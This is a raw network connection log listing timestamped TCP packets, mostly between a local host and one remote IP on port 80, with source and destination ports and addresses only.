Jan 1, 2025 15:20:41.645329952 CET	80	50301	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:41.686836958 CET	50301	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:41.687000036 CET	50301	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:41.687367916 CET	50302	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:41.693298101 CET	80	50302	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:41.693408966 CET	50302	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:41.693500996 CET	50302	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:41.693515062 CET	80	50301	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:41.693706036 CET	50301	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:41.698299885 CET	80	50302	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:41.758059025 CET	50302	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:41.758068085 CET	50303	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:41.763012886 CET	80	50303	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:41.763083935 CET	50303	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:41.763289928 CET	50303	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:41.768094063 CET	80	50303	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:41.810112953 CET	80	50302	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:42.055463076 CET	80	50302	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:42.055546045 CET	50302	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:42.111151934 CET	50303	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:42.116013050 CET	80	50303	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:42.231477022 CET	80	50303	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:42.342212915 CET	50303	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:42.408134937 CET	80	50303	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:42.451695919 CET	50303	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:42.524746895 CET	50304	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:42.524751902 CET	50303	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:42.529555082 CET	80	50304	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:42.529669046 CET	50304	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:42.529794931 CET	80	50303	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:42.529851913 CET	50304	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:42.529906988 CET	50303	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:42.534641981 CET	80	50304	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:42.893084049 CET	50304	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:42.897933960 CET	80	50304	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:42.985877991 CET	80	50304	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:43.029685020 CET	50304	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:43.152127028 CET	80	50304	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:43.201559067 CET	50304	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:43.275006056 CET	50305	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:43.279891014 CET	80	50305	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:43.279954910 CET	50305	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:43.280030966 CET	50305	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:43.284802914 CET	80	50305	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:43.639264107 CET	50305	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:43.644176006 CET	80	50305	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:43.733494997 CET	80	50305	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:43.946213961 CET	80	50305	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:43.952770948 CET	50305	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:43.994221926 CET	80	50305	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:44.156769991 CET	50305	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:44.162522078 CET	50305	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:44.164769888 CET	50306	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:44.167548895 CET	80	50305	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:44.168927908 CET	50305	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:44.169596910 CET	80	50306	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:44.172879934 CET	50306	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:44.173006058 CET	50306	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:44.177741051 CET	80	50306	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:44.529824972 CET	50306	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:44.534703016 CET	80	50306	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:44.647048950 CET	80	50306	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:44.748428106 CET	50306	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:44.908269882 CET	80	50306	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:44.999219894 CET	50306	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:45.026417017 CET	50306	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:45.027278900 CET	50307	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:45.031485081 CET	80	50306	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:45.031533957 CET	50306	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:45.032109976 CET	80	50307	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:45.032166004 CET	50307	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:45.032315016 CET	50307	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:45.037110090 CET	80	50307	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:45.389112949 CET	50307	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:45.394063950 CET	80	50307	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:45.548360109 CET	80	50307	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:45.592169046 CET	50307	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:45.719403982 CET	80	50307	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:45.764790058 CET	50307	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:45.833950996 CET	50304	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:45.838566065 CET	50308	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:45.838583946 CET	50307	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:45.843400002 CET	80	50308	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:45.843530893 CET	80	50307	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:45.844873905 CET	50308	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:45.844876051 CET	50307	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:45.845061064 CET	50308	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:45.849844933 CET	80	50308	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:46.204755068 CET	50308	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:46.209817886 CET	80	50308	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:46.327281952 CET	80	50308	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:46.451560974 CET	50308	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:46.492748022 CET	80	50308	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:46.616549969 CET	50308	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:46.617449045 CET	50309	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:46.621608973 CET	80	50308	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:46.621676922 CET	50308	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:46.622304916 CET	80	50309	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:46.624819994 CET	50309	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:46.625075102 CET	50309	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:46.629869938 CET	80	50309	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:46.765453100 CET	50310	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:46.765528917 CET	50309	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:46.770335913 CET	80	50310	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:46.770395041 CET	50310	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:46.770622015 CET	50310	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:46.775469065 CET	80	50310	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:46.814146042 CET	80	50309	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:46.885683060 CET	50311	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:46.890583992 CET	80	50311	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:46.890650034 CET	50311	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:46.890837908 CET	50311	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:46.895601034 CET	80	50311	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:47.036195040 CET	80	50309	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:47.036259890 CET	50309	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:47.123497009 CET	50310	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:47.128297091 CET	80	50310	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:47.128479958 CET	80	50310	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:47.248502016 CET	50311	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:47.253465891 CET	80	50311	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:47.272754908 CET	80	50310	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:47.326618910 CET	50310	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:47.374792099 CET	80	50311	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:47.445503950 CET	50311	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:47.446003914 CET	80	50310	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:47.498426914 CET	50310	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:47.638251066 CET	80	50311	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:47.758742094 CET	50310	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:47.758759975 CET	50311	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:47.759460926 CET	50312	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:47.763771057 CET	80	50310	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:47.764086962 CET	80	50311	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:47.764108896 CET	50310	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:47.764291048 CET	80	50312	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:47.764307976 CET	50311	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:47.764442921 CET	50312	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:47.764513016 CET	50312	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:47.769320965 CET	80	50312	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:48.124753952 CET	50312	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:48.129686117 CET	80	50312	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:48.205347061 CET	80	50312	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:48.264754057 CET	50312	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:48.461781025 CET	80	50312	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:48.516746998 CET	50312	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:48.588239908 CET	50313	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:48.593117952 CET	80	50313	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:48.593348980 CET	50313	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:48.593451977 CET	50313	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:48.598253965 CET	80	50313	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:48.951664925 CET	50313	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:48.956553936 CET	80	50313	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:49.067673922 CET	80	50313	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:49.154664993 CET	50313	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:49.243130922 CET	80	50313	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:49.370484114 CET	50313	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:49.371362925 CET	50314	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:49.375519037 CET	80	50313	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:49.375567913 CET	50313	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:49.376137018 CET	80	50314	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:49.376199007 CET	50314	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:49.376291037 CET	50314	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:49.381047964 CET	80	50314	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:49.736764908 CET	50314	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:49.741647959 CET	80	50314	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:49.843616962 CET	80	50314	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:49.952759981 CET	50314	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:50.117481947 CET	80	50314	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:50.242749929 CET	50314	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:50.244740963 CET	50315	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:50.247819901 CET	80	50314	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:50.248104095 CET	50314	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:50.249567986 CET	80	50315	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:50.252851009 CET	50315	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:50.253002882 CET	50315	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:50.257817984 CET	80	50315	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:50.608747005 CET	50315	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:50.613662958 CET	80	50315	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:50.718344927 CET	80	50315	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:50.764043093 CET	50315	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:50.978548050 CET	80	50315	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:51.029653072 CET	50315	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:51.105026007 CET	50315	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:51.105669975 CET	50316	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:51.110093117 CET	80	50315	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:51.110131979 CET	50315	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:51.110430956 CET	80	50316	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:51.110471964 CET	50316	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:51.110558987 CET	50316	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:51.115289927 CET	80	50316	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:51.467355967 CET	50316	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:51.473304033 CET	80	50316	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:51.586335897 CET	80	50316	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:51.654966116 CET	50316	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:51.762552023 CET	80	50316	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:51.767329931 CET	50312	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:51.844760895 CET	50316	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:51.850734949 CET	80	50316	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:51.952733040 CET	50316	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:51.978705883 CET	50316	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:51.978713036 CET	50317	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:51.983604908 CET	80	50317	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:51.983668089 CET	80	50316	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:51.983773947 CET	50316	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:51.983879089 CET	50317	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:51.983995914 CET	50317	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:51.988754988 CET	80	50317	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:52.342292070 CET	50317	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:52.347332954 CET	80	50317	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:52.446583986 CET	80	50317	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:52.452742100 CET	50317	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:52.452898979 CET	50318	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:52.457699060 CET	80	50318	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:52.457770109 CET	80	50317	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:52.457868099 CET	50318	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:52.457871914 CET	50317	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:52.458009005 CET	50318	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:52.462723017 CET	80	50318	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:52.575968027 CET	50319	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:52.580878973 CET	80	50319	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:52.581037045 CET	50319	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:52.581064939 CET	50319	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:52.585813046 CET	80	50319	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:52.812719107 CET	50318	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:52.817670107 CET	80	50318	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:52.817683935 CET	80	50318	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:52.925292015 CET	80	50318	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:52.938827991 CET	50319	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:52.943666935 CET	80	50319	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:52.967152119 CET	50318	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:53.087909937 CET	80	50319	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:53.096230984 CET	80	50318	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:53.129719973 CET	50319	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:53.139033079 CET	50318	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:53.336848021 CET	80	50319	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:53.425451040 CET	80	50319	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:53.425507069 CET	50319	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:53.543452024 CET	50318	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:53.543513060 CET	50319	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:53.544311047 CET	50320	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:53.548448086 CET	80	50318	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:53.548496008 CET	50318	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:53.548665047 CET	80	50319	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:53.548701048 CET	50319	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:53.549063921 CET	80	50320	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:53.549135923 CET	50320	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:53.549400091 CET	50320	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:53.554172039 CET	80	50320	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:53.904758930 CET	50320	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:53.909878969 CET	80	50320	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:53.994127989 CET	80	50320	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:54.156729937 CET	50320	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:54.162863016 CET	80	50320	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:54.163150072 CET	50320	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:54.168256998 CET	80	50320	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:54.168338060 CET	50320	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:54.276730061 CET	50321	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:54.281616926 CET	80	50321	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:54.281704903 CET	50321	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:54.281809092 CET	50321	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:54.286612034 CET	80	50321	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:54.639518976 CET	50321	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:54.644558907 CET	80	50321	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:54.746330976 CET	80	50321	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:54.795278072 CET	50321	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:54.921591043 CET	80	50321	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:54.967149973 CET	50321	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:55.040462017 CET	50321	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:55.041125059 CET	50322	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:55.045562029 CET	80	50321	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:55.045633078 CET	50321	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:55.045907021 CET	80	50322	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:55.045980930 CET	50322	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:55.046097994 CET	50322	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:55.050956964 CET	80	50322	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:55.404747963 CET	50322	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:55.409784079 CET	80	50322	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:55.511190891 CET	80	50322	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:55.560899973 CET	50322	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:55.699446917 CET	80	50322	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:55.748723984 CET	50322	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:55.822731018 CET	50322	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:55.823360920 CET	50323	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:55.827831984 CET	80	50322	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:55.827908993 CET	50322	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:55.828151941 CET	80	50323	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:55.828260899 CET	50323	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:55.828413963 CET	50323	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:55.833223104 CET	80	50323	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:56.188719988 CET	50323	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:56.193582058 CET	80	50323	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:56.272259951 CET	80	50323	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:56.391602993 CET	50323	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:56.446423054 CET	80	50323	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:56.548721075 CET	50323	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:56.571480989 CET	50323	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:56.572293043 CET	50324	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:56.576514006 CET	80	50323	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:56.576596022 CET	50323	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:56.577061892 CET	80	50324	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:56.577142954 CET	50324	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:56.577244043 CET	50324	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:56.582060099 CET	80	50324	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:56.935995102 CET	50324	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:56.941103935 CET	80	50324	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:57.032979965 CET	80	50324	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:57.076621056 CET	50324	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:57.205883980 CET	80	50324	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:57.248393059 CET	50324	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:57.323580980 CET	50324	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:57.324553967 CET	50325	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:57.328593016 CET	80	50324	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:57.328645945 CET	50324	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:57.329416037 CET	80	50325	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:57.329478025 CET	50325	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:57.329593897 CET	50325	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:57.334448099 CET	80	50325	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:57.688724995 CET	50325	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:57.693743944 CET	80	50325	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:57.813801050 CET	80	50325	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:57.951536894 CET	50325	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:57.986069918 CET	80	50325	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:58.102787018 CET	50325	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:58.102787018 CET	50326	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:58.107784033 CET	80	50326	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:58.107924938 CET	80	50325	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:58.108712912 CET	50326	80	192.168.2.4	172.67.220.198
Jan 1, 2025 15:20:58.108752012 CET	50325	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:58.108757973 CET	50326	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:58.108875036 CET	50327	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:58.113568068 CET	80	50326	172.67.220.198	192.168.2.4
Jan 1, 2025 15:20:58.113713026 CET	80	50327	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:58.116760969 CET	50327	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:58.116763115 CET	50326	80	192.168.2.4	172.67.220.198
Jan 1, 2025 15:20:58.116826057 CET	50326	80	192.168.2.4	172.67.220.198
Jan 1, 2025 15:20:58.116930008 CET	50327	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:58.121730089 CET	80	50327	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:58.228714943 CET	50328	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:58.233661890 CET	80	50328	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:58.233799934 CET	50328	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:58.233844995 CET	50328	80	192.168.2.4	104.21.38.84
